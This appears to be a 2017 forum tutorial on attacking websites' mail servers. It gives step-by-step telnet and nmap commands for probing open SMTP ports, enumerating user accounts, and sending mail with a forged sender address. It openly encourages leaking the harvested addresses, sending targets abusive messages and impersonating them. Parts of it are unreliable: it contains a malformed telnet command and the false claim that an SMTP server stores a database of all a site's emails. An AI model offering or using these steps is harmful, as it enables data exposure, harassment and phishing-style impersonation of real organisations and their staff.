Mar 30, 2017 08:29 PM
(This post was last modified: Mar 31, 2017 05:31 PM by NuclearPenguin.)
In this tutorial, you will need:
Either Kali Linux or an operating system with Nmap installed
Either Kali Linux or an operating system with Nmap installed
Intro:
Many websites have their own email addresses that they use to send and receive emails. How do they do this? They have an SMTP (Simple Mail Transport Protocol) server installed on their system, usually on port 25. This server contains a database of all the website's emails, and websites often leave it unsecured.So how would you leak their emails, send them funny messages, or even spoof their emails? Well read this tutorial and find out!
Many websites have their own email addresses that they use to send and receive emails. How do they do this? They have an SMTP (Simple Mail Transport Protocol) server installed on their system, usually on port 25. This server contains a database of all the website's emails, and websites often leave it unsecured.So how would you leak their emails, send them funny messages, or even spoof their emails? Well read this tutorial and find out!
Step 1:
Open up your command line.
Step 2:
We will test to see whether or not the website left their SMTP server open.
Enter the following command:
Code
telnet [website address] 25,465,587If you receive a message like "Connected to [IP Address]" then congratulations! Their server is open. If not, then try ports 465 and 587.
Step 3:
Exit from telnet. We will now use nmap to extract email addresses from the SMTP server.
Enter the following command:
Code
nmap --script smtp-enum-users.nse -p 25 [website address]Nmap should tell you all the user accounts on the server.
Good, excellent! Now you have their email addresses. You can leak them to the public or send them random shit. If that's all you wanted to do then you can stop reading this tutorial. But what if you want to spoof their emails?
How to Spoof:
Step 1:
Open up your command line
Step 2:
Enter the command
Code
telnet [website address] 25Step 3:
You are required to say hello to the server. Type the command:
Code
HELO [type anything here]Code
EHLOStep 4:
Type in the email address you want to spoof.
Code
MAIL FROM: [fake username]@[website address]Step 5:
Type the email you would like to send a message to
Code
RCPT TO: [username]@[website address]Step 6:
Type
Code
DATACode
SUBJECT: [any subject here]Step 7:
Begin typing your message. When you are done just type a single "." on a new line and press enter. Your message will be sent.
Congrats. Now you spoofed their email.


